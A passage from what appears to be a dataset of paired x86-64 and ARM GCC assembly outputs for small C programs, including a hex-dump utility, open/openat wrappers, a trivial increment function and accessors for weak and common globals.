ldr r3, .L8
ldr r2, [r3]
ldr r3, [fp, #-16]
eors r2, r3, r2
mov r3, #0
beq .L7
bl __stack_chk_fail
.L7:
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L9:
.align 2
.L8:
.word .LC1
.word 1045220557
.word .LC0
.size beta, .-beta
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "93242.c"
.intel_syntax noprefix
.text
.globl o0
.section .rodata
.align 16
.type o0, @object
.size o0, 28
o0:
.string "%02X"
.zero 2
.string "%02x"
.zero 2
.string "%03o"
.zero 2
.string "%03u"
.zero 2
.globl in
.bss
.align 8
.type in, @object
.size in, 8
in:
.zero 8
.globl out
.align 8
.type out, @object
.size out, 8
out:
.zero 8
.globl spc
.data
.align 32
.type spc, @object
.size spc, 100
spc:
.string "% 1s"
.zero 95
.globl n
.align 4
.type n, @object
.size n, 4
n:
.long 8
.section .rodata
.LC0:
.string "-c"
.LC1:
.string "%d"
.LC2:
.string "-s"
.LC3:
.string "%% %ds"
.LC4:
.string "-X"
.LC5:
.string "-x"
.LC6:
.string "-o"
.LC7:
.string "-u"
.LC8:
.string "rb"
.LC9:
.string "%06x:"
.LC10:
.string ""
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 64
mov DWORD PTR -52[rbp], edi
mov QWORD PTR -64[rbp], rsi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rax, o0[rip+7]
mov QWORD PTR out[rip], rax
mov DWORD PTR -32[rbp], 1
jmp .L2
.L10:
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -64[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
lea rsi, .LC0[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L3
add DWORD PTR -32[rbp], 1
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -64[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
lea rdx, n[rip]
lea rsi, .LC1[rip]
mov rdi, rax
mov eax, 0
call __isoc99_sscanf@PLT
jmp .L4
.L3:
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -64[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
lea rsi, .LC2[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L5
add DWORD PTR -32[rbp], 1
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -64[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
lea rdx, -36[rbp]
lea rsi, .LC1[rip]
mov rdi, rax
mov eax, 0
call __isoc99_sscanf@PLT
mov eax, DWORD PTR -36[rbp]
mov edx, eax
lea rsi, .LC3[rip]
lea rdi, spc[rip]
mov eax, 0
call sprintf@PLT
jmp .L4
.L5:
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -64[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
lea rsi, .LC4[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L6
lea rax, o0[rip]
mov QWORD PTR out[rip], rax
jmp .L4
.L6:
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -64[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
lea rsi, .LC5[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L7
lea rax, o0[rip+7]
mov QWORD PTR out[rip], rax
jmp .L4
.L7:
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -64[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
lea rsi, .LC6[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L8
lea rax, o0[rip+14]
mov QWORD PTR out[rip], rax
jmp .L4
.L8:
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -64[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
lea rsi, .LC7[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L9
lea rax, o0[rip+21]
mov QWORD PTR out[rip], rax
jmp .L4
.L9:
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -64[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
mov QWORD PTR in[rip], rax
.L4:
add DWORD PTR -32[rbp], 1
.L2:
mov eax, DWORD PTR -32[rbp]
cmp eax, DWORD PTR -52[rbp]
jl .L10
mov rax, QWORD PTR in[rip]
lea rsi, .LC8[rip]
mov rdi, rax
call fopen@PLT
mov QWORD PTR -24[rbp], rax
mov eax, DWORD PTR n[rip]
cdqe
mov rdi, rax
call malloc@PLT
mov QWORD PTR -16[rbp], rax
mov DWORD PTR -32[rbp], 0
jmp .L11
.L14:
mov eax, DWORD PTR -32[rbp]
mov esi, eax
lea rdi, .LC9[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR -36[rbp]
add DWORD PTR -32[rbp], eax
mov rax, QWORD PTR -16[rbp]
movzx eax, BYTE PTR [rax]
movzx edx, al
mov rax, QWORD PTR out[rip]
mov esi, edx
mov rdi, rax
mov eax, 0
call printf@PLT
mov DWORD PTR -28[rbp], 1
jmp .L12
.L13:
lea rsi, .LC10[rip]
lea rdi, spc[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR -28[rbp]
movsx rdx, eax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
movzx edx, al
mov rax, QWORD PTR out[rip]
mov esi, edx
mov rdi, rax
mov eax, 0
call printf@PLT
add DWORD PTR -28[rbp], 1
.L12:
mov eax, DWORD PTR -36[rbp]
cmp DWORD PTR -28[rbp], eax
jl .L13
lea rdi, .LC10[rip]
call puts@PLT
.L11:
mov eax, DWORD PTR n[rip]
movsx rdx, eax
mov rcx, QWORD PTR -24[rbp]
mov rax, QWORD PTR -16[rbp]
mov esi, 1
mov rdi, rax
call fread@PLT
mov DWORD PTR -36[rbp], eax
mov eax, DWORD PTR -36[rbp]
test eax, eax
jne .L14
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L16
call __stack_chk_fail@PLT
.L16:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "93242.c"
.text
.global o0
.section .rodata
.align 2
.type o0, %object
.size o0, 28
o0:
.ascii "%02X\000"
.space 2
.ascii "%02x\000"
.space 2
.ascii "%03o\000"
.space 2
.ascii "%03u\000"
.space 2
.comm in,4,4
.comm out,4,4
.global spc
.data
.align 2
.type spc, %object
.size spc, 100
spc:
.ascii "% 1s\000"
.space 95
.global n
.align 2
.type n, %object
.size n, 4
n:
.word 8
.section .rodata
.align 2
.LC0:
.ascii "-c\000"
.align 2
.LC1:
.ascii "%d\000"
.align 2
.LC2:
.ascii "-s\000"
.align 2
.LC3:
.ascii "%% %ds\000"
.align 2
.LC4:
.ascii "-X\000"
.align 2
.LC5:
.ascii "-x\000"
.align 2
.LC6:
.ascii "-o\000"
.align 2
.LC7:
.ascii "-u\000"
.align 2
.LC8:
.ascii "rb\000"
.align 2
.LC9:
.ascii "%06x:\000"
.align 2
.LC10:
.ascii "\000"
.align 2
.LC11:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #32
str r0, [fp, #-32]
str r1, [fp, #-36]
ldr r3, .L17
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r3, .L17+4
ldr r2, .L17+8
str r2, [r3]
mov r3, #1
str r3, [fp, #-24]
b .L2
.L10:
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r2, [fp, #-36]
add r3, r2, r3
ldr r3, [r3]
ldr r1, .L17+12
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L3
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r2, [fp, #-36]
add r3, r2, r3
ldr r3, [r3]
ldr r2, .L17+16
ldr r1, .L17+20
mov r0, r3
bl __isoc99_sscanf
b .L4
.L3:
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r2, [fp, #-36]
add r3, r2, r3
ldr r3, [r3]
ldr r1, .L17+24
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L5
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r2, [fp, #-36]
add r3, r2, r3
ldr r3, [r3]
sub r2, fp, #28
ldr r1, .L17+20
mov r0, r3
bl __isoc99_sscanf
ldr r3, [fp, #-28]
mov r2, r3
ldr r1, .L17+28
ldr r0, .L17+32
bl sprintf
b .L4
.L5:
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r2, [fp, #-36]
add r3, r2, r3
ldr r3, [r3]
ldr r1, .L17+36
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L6
ldr r3, .L17+4
ldr r2, .L17+40
str r2, [r3]
b .L4
.L6:
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r2, [fp, #-36]
add r3, r2, r3
ldr r3, [r3]
ldr r1, .L17+44
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L7
ldr r3, .L17+4
ldr r2, .L17+8
str r2, [r3]
b .L4
.L7:
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r2, [fp, #-36]
add r3, r2, r3
ldr r3, [r3]
ldr r1, .L17+48
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L8
ldr r3, .L17+4
ldr r2, .L17+52
str r2, [r3]
b .L4
.L8:
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r2, [fp, #-36]
add r3, r2, r3
ldr r3, [r3]
ldr r1, .L17+56
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L9
ldr r3, .L17+4
ldr r2, .L17+60
str r2, [r3]
b .L4
.L9:
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r2, [fp, #-36]
add r3, r2, r3
ldr r3, [r3]
ldr r2, .L17+64
str r3, [r2]
.L4:
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
.L2:
ldr r2, [fp, #-24]
ldr r3, [fp, #-32]
cmp r2, r3
blt .L10
ldr r3, .L17+64
ldr r3, [r3]
ldr r1, .L17+68
mov r0, r3
bl fopen
str r0, [fp, #-16]
ldr r3, .L17+16
ldr r3, [r3]
mov r0, r3
bl malloc
mov r3, r0
str r3, [fp, #-12]
mov r3, #0
str r3, [fp, #-24]
b .L11
.L14:
ldr r1, [fp, #-24]
ldr r0, .L17+72
bl printf
ldr r3, [fp, #-28]
ldr r2, [fp, #-24]
add r3, r2, r3
str r3, [fp, #-24]
ldr r3, .L17+4
ldr r2, [r3]
ldr r3, [fp, #-12]
ldrb r3, [r3] @ zero_extendqisi2
mov r1, r3
mov r0, r2
bl printf
mov r3, #1
str r3, [fp, #-20]
b .L12
.L13:
ldr r1, .L17+76
ldr r0, .L17+32
bl printf
ldr r3, .L17+4
ldr r0, [r3]
ldr r3, [fp, #-20]
ldr r2, [fp, #-12]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
mov r1, r3
bl printf
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
.L12:
ldr r3, [fp, #-28]
ldr r2, [fp, #-20]
cmp r2, r3
blt .L13
ldr r0, .L17+76
bl puts
.L11:
ldr r3, .L17+16
ldr r3, [r3]
mov r2, r3
ldr r3, [fp, #-16]
mov r1, #1
ldr r0, [fp, #-12]
bl fread
mov r3, r0
str r3, [fp, #-28]
ldr r3, [fp, #-28]
cmp r3, #0
bne .L14
mov r3, #0
ldr r2, .L17
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L16
bl __stack_chk_fail
.L16:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L18:
.align 2
.L17:
.word .LC11
.word out
.word o0+7
.word .LC0
.word n
.word .LC1
.word .LC2
.word .LC3
.word spc
.word .LC4
.word o0
.word .LC5
.word .LC6
.word o0+14
.word .LC7
.word o0+21
.word in
.word .LC8
.word .LC9
.word .LC10
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "164696.c"
.intel_syntax noprefix
.text
.globl open_posix
.type open_posix, @function
open_posix:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 240
mov QWORD PTR -232[rbp], rdi
mov DWORD PTR -236[rbp], esi
mov QWORD PTR -160[rbp], rdx
mov QWORD PTR -152[rbp], rcx
mov QWORD PTR -144[rbp], r8
mov QWORD PTR -136[rbp], r9
test al, al
je .L2
movaps XMMWORD PTR -128[rbp], xmm0
movaps XMMWORD PTR -112[rbp], xmm1
movaps XMMWORD PTR -96[rbp], xmm2
movaps XMMWORD PTR -80[rbp], xmm3
movaps XMMWORD PTR -64[rbp], xmm4
movaps XMMWORD PTR -48[rbp], xmm5
movaps XMMWORD PTR -32[rbp], xmm6
movaps XMMWORD PTR -16[rbp], xmm7
.L2:
mov rax, QWORD PTR fs:40
mov QWORD PTR -184[rbp], rax
xor eax, eax
mov eax, DWORD PTR -236[rbp]
and eax, 64
test eax, eax
je .L3
mov DWORD PTR -208[rbp], 16
mov DWORD PTR -204[rbp], 48
lea rax, 16[rbp]
mov QWORD PTR -200[rbp], rax
lea rax, -176[rbp]
mov QWORD PTR -192[rbp], rax
mov eax, DWORD PTR -208[rbp]
cmp eax, 47
ja .L4
mov rax, QWORD PTR -192[rbp]
mov edx, DWORD PTR -208[rbp]
mov edx, edx
add rax, rdx
mov edx, DWORD PTR -208[rbp]
add edx, 8
mov DWORD PTR -208[rbp], edx
jmp .L5
.L4:
mov rax, QWORD PTR -200[rbp]
lea rdx, 8[rax]
mov QWORD PTR -200[rbp], rdx
.L5:
mov eax, DWORD PTR [rax]
mov DWORD PTR -212[rbp], eax
mov edx, DWORD PTR -212[rbp]
mov ecx, DWORD PTR -236[rbp]
mov rax, QWORD PTR -232[rbp]
mov esi, ecx
mov rdi, rax
mov eax, 0
call open@PLT
mov DWORD PTR -216[rbp], eax
jmp .L6
.L3:
mov edx, DWORD PTR -236[rbp]
mov rax, QWORD PTR -232[rbp]
mov esi, edx
mov rdi, rax
mov eax, 0
call open@PLT
mov DWORD PTR -216[rbp], eax
.L6:
cmp DWORD PTR -216[rbp], -1
jne .L7
mov eax, DWORD PTR -236[rbp]
and eax, 131072
test eax, eax
je .L7
call __errno_location@PLT
mov eax, DWORD PTR [rax]
cmp eax, 31
jne .L7
call __errno_location@PLT
mov DWORD PTR [rax], 40
.L7:
mov eax, DWORD PTR -216[rbp]
mov rcx, QWORD PTR -184[rbp]
sub rcx, QWORD PTR fs:40
je .L9
call __stack_chk_fail@PLT
.L9:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size open_posix, .-open_posix
.globl openat_posix
.type openat_posix, @function
openat_posix:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 240
mov DWORD PTR -228[rbp], edi
mov QWORD PTR -240[rbp], rsi
mov DWORD PTR -232[rbp], edx
mov QWORD PTR -152[rbp], rcx
mov QWORD PTR -144[rbp], r8
mov QWORD PTR -136[rbp], r9
test al, al
je .L11
movaps XMMWORD PTR -128[rbp], xmm0
movaps XMMWORD PTR -112[rbp], xmm1
movaps XMMWORD PTR -96[rbp], xmm2
movaps XMMWORD PTR -80[rbp], xmm3
movaps XMMWORD PTR -64[rbp], xmm4
movaps XMMWORD PTR -48[rbp], xmm5
movaps XMMWORD PTR -32[rbp], xmm6
movaps XMMWORD PTR -16[rbp], xmm7
.L11:
mov rax, QWORD PTR fs:40
mov QWORD PTR -184[rbp], rax
xor eax, eax
mov eax, DWORD PTR -232[rbp]
and eax, 64
test eax, eax
je .L12
mov DWORD PTR -208[rbp], 24
mov DWORD PTR -204[rbp], 48
lea rax, 16[rbp]
mov QWORD PTR -200[rbp], rax
lea rax, -176[rbp]
mov QWORD PTR -192[rbp], rax
mov eax, DWORD PTR -208[rbp]
cmp eax, 47
ja .L13
mov rax, QWORD PTR -192[rbp]
mov edx, DWORD PTR -208[rbp]
mov edx, edx
add rax, rdx
mov edx, DWORD PTR -208[rbp]
add edx, 8
mov DWORD PTR -208[rbp], edx
jmp .L14
.L13:
mov rax, QWORD PTR -200[rbp]
lea rdx, 8[rax]
mov QWORD PTR -200[rbp], rdx
.L14:
mov eax, DWORD PTR [rax]
mov DWORD PTR -212[rbp], eax
mov ecx, DWORD PTR -212[rbp]
mov edx, DWORD PTR -232[rbp]
mov rsi, QWORD PTR -240[rbp]
mov eax, DWORD PTR -228[rbp]
mov edi, eax
mov eax, 0
call openat@PLT
mov DWORD PTR -216[rbp], eax
jmp .L15
.L12:
mov edx, DWORD PTR -232[rbp]
mov rcx, QWORD PTR -240[rbp]
mov eax, DWORD PTR -228[rbp]
mov rsi, rcx
mov edi, eax
mov eax, 0
call openat@PLT
mov DWORD PTR -216[rbp], eax
.L15:
cmp DWORD PTR -216[rbp], -1
jne .L16
mov eax, DWORD PTR -232[rbp]
and eax, 131072
test eax, eax
je .L16
call __errno_location@PLT
mov eax, DWORD PTR [rax]
cmp eax, 31
jne .L16
call __errno_location@PLT
mov DWORD PTR [rax], 40
.L16:
mov eax, DWORD PTR -216[rbp]
mov rdi, QWORD PTR -184[rbp]
sub rdi, QWORD PTR fs:40
je .L18
call __stack_chk_fail@PLT
.L18:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size openat_posix, .-openat_posix
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "164696.c"
.text
.section .rodata
.align 2
.LC0:
.word __stack_chk_guard
.text
.align 2
.global open_posix
.syntax unified
.arm
.fpu softvfp
.type open_posix, %function
open_posix:
@ args = 4, pretend = 12, frame = 24
@ frame_needed = 1, uses_anonymous_args = 1
push {r1, r2, r3}
push {fp, lr}
add fp, sp, #4
sub sp, sp, #28
str r0, [fp, #-28]
ldr r3, .L7
ldr r3, [r3]
str r3, [fp, #-12]
mov r3,#0
ldr r3, [fp, #4]
and r3, r3, #64
cmp r3, #0
beq .L2
add r3, fp, #8
str r3, [fp, #-24]
ldr r3, [fp, #-24]
add r2, r3, #4
str r2, [fp, #-24]
ldr r3, [r3]
str r3, [fp, #-16]
ldr r2, [fp, #-16]
ldr r1, [fp, #4]
ldr r0, [fp, #-28]
bl open
str r0, [fp, #-20]
b .L3
.L2:
ldr r1, [fp, #4]
ldr r0, [fp, #-28]
bl open
str r0, [fp, #-20]
.L3:
ldr r3, [fp, #-20]
cmn r3, #1
bne .L4
ldr r3, [fp, #4]
and r3, r3, #32768
cmp r3, #0
beq .L4
bl __errno_location
mov r3, r0
ldr r3, [r3]
cmp r3, #31
bne .L4
bl __errno_location
mov r3, r0
mov r2, #40
str r2, [r3]
.L4:
ldr r3, [fp, #-20]
ldr r2, .L7
ldr r1, [r2]
ldr r2, [fp, #-12]
eors r1, r2, r1
mov r2, #0
beq .L6
bl __stack_chk_fail
.L6:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, lr}
add sp, sp, #12
bx lr
.L8:
.align 2
.L7:
.word .LC0
.size open_posix, .-open_posix
.section .rodata
.align 2
.LC1:
.word __stack_chk_guard
.text
.align 2
.global openat_posix
.syntax unified
.arm
.fpu softvfp
.type openat_posix, %function
openat_posix:
@ args = 4, pretend = 8, frame = 24
@ frame_needed = 1, uses_anonymous_args = 1
push {r2, r3}
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
str r0, [fp, #-24]
str r1, [fp, #-28]
ldr r3, .L15
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r3, [fp, #4]
and r3, r3, #64
cmp r3, #0
beq .L10
add r3, fp, #8
str r3, [fp, #-20]
ldr r3, [fp, #-20]
add r2, r3, #4
str r2, [fp, #-20]
ldr r3, [r3]
str r3, [fp, #-12]
ldr r3, [fp, #-12]
ldr r2, [fp, #4]
ldr r1, [fp, #-28]
ldr r0, [fp, #-24]
bl openat
str r0, [fp, #-16]
b .L11
.L10:
ldr r2, [fp, #4]
ldr r1, [fp, #-28]
ldr r0, [fp, #-24]
bl openat
str r0, [fp, #-16]
.L11:
ldr r3, [fp, #-16]
cmn r3, #1
bne .L12
ldr r3, [fp, #4]
and r3, r3, #32768
cmp r3, #0
beq .L12
bl __errno_location
mov r3, r0
ldr r3, [r3]
cmp r3, #31
bne .L12
bl __errno_location
mov r3, r0
mov r2, #40
str r2, [r3]
.L12:
ldr r3, [fp, #-16]
ldr r2, .L15
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L14
bl __stack_chk_fail
.L14:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, lr}
add sp, sp, #8
bx lr
.L16:
.align 2
.L15:
.word .LC1
.size openat_posix, .-openat_posix
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "303382.c"
.intel_syntax noprefix
.text
.globl foo
.type foo, @function
foo:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
add DWORD PTR -4[rbp], 1
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size foo, .-foo
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "303382.c"
.text
.align 2
.global foo
.syntax unified
.arm
.fpu softvfp
.type foo, %function
foo:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size foo, .-foo
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "935668.c"
.intel_syntax noprefix
.text
.protected n_common
.globl n_common
.bss
.align 4
.type n_common, @object
.size n_common, 4
n_common:
.zero 4
.protected n_weak_common
.weak n_weak_common
.align 4
.type n_weak_common, @object
.size n_weak_common, 4
n_weak_common:
.zero 4
.protected n_init
.globl n_init
.data
.align 4
.type n_init, @object
.size n_init, 4
n_init:
.long -1
.protected n_weak_init
.weak n_weak_init
.align 4
.type n_weak_init, @object
.size n_weak_init, 4
n_weak_init:
.long -1
.text
.globl f1
.type f1, @function
f1:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov eax, DWORD PTR n_common[rip]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size f1, .-f1
.globl f2
.type f2, @function
f2:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov eax, DWORD PTR n_weak_common[rip]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size f2, .-f2
.globl f3
.type f3, @function
f3:
.LFB2:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov eax, DWORD PTR n_init[rip]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE2:
.size f3, .-f3
.globl f4
.type f4, @function
f4:
.LFB3:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov eax, DWORD PTR n_weak_init[rip]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE3:
.size f4, .-f4
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "935668.c"
.text
.protected n_common
.comm n_common,4,4
.protected n_weak_common
.weak n_weak_common
.bss
.align 2
.type n_weak_common, %object
.size n_weak_common, 4
n_weak_common:
.space 4
.protected n_init
.global n_init
.data
.align 2
.type n_init, %object
.size n_init, 4
n_init:
.word -1
.protected n_weak_init
.weak n_weak_init
.align 2
.type n_weak_init, %object
.size n_weak_init, 4
n_weak_init:
.word -1
.text
.align 2
.global f1
.syntax unified
.arm
.fpu softvfp
.type f1, %function
f1:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
ldr r3, .L3
ldr r3, [r3]
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L4:
.align 2
.L3:
.word n_common
.size f1, .-f1
.align 2
.global f2
.syntax unified
.arm
.fpu softvfp
.type f2, %function
f2:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
ldr r3, .L7
ldr r3, [r3]
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L8:
.align 2
.L7:
.word n_weak_common
.size f2, .-f2
.align 2
.global f3
.syntax unified
.arm
.fpu softvfp
.type f3, %function
f3:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
ldr r3, .L11
ldr r3, [r3]
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L12:
.align 2
.L11:
.word n_init
.size f3, .-f3
.align 2
.global f4
.syntax unified
.arm
.fpu softvfp
.type f4, %function
f4:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
ldr r3, .L15
ldr r3, [r3]
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L16:
.align 2
.L15:
.word n_weak_init
.size f4, .-f4
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "804017.c"
.intel_syntax noprefix
.text
.local Mutex
.comm Mutex,40,32
.local Taxi
.comm Taxi,8,8
.local TaxiCount
.comm TaxiCount,4,4
.local TaxiSize
.comm TaxiSize,4,4
.data
.align 4
.type Limit, @object
